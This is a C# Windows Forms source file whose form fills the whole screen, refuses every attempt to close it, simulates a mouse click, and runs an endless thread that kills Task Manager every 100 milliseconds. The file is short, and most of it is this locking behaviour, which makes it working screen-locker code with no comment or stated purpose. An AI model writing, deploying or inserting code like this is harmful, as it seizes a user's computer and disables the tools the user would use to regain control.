using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace WindowsFormsApplication1
{
    public partial class Form1 : Form
    {
        [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
        public static extern void mouse_event(uint dwFlags, uint dx, uint dy, uint cButtons, uint dwExtraInfo);
        //Mouse actions
        private const int MOUSEEVENTF_LEFTDOWN = 0x02;
        private const int MOUSEEVENTF_LEFTUP = 0x04;
        private const int MOUSEEVENTF_RIGHTDOWN = 0x08;
        private const int MOUSEEVENTF_RIGHTUP = 0x10;

        public Form1()
        {
            InitializeComponent();
            this.Width = Screen.PrimaryScreen.Bounds.Width;
            this.Height = Screen.PrimaryScreen.Bounds.Height;
            Thread t = new Thread(() => { while (true) { if (Process.GetProcessesByName("taskmgr").Length > 0) Process.GetProcessesByName("taskmgr")[0].Kill(); Thread.Sleep(100); } });
            t.Start();
            uint X = (uint)Cursor.Position.X;
            uint Y = (uint)Cursor.Position.Y;
            mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, X, Y, 0, 0);
        }

        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            e.Cancel = true;
        }

        private void pictureBox1_Click(object sender, EventArgs e)
        {

        }
    }
}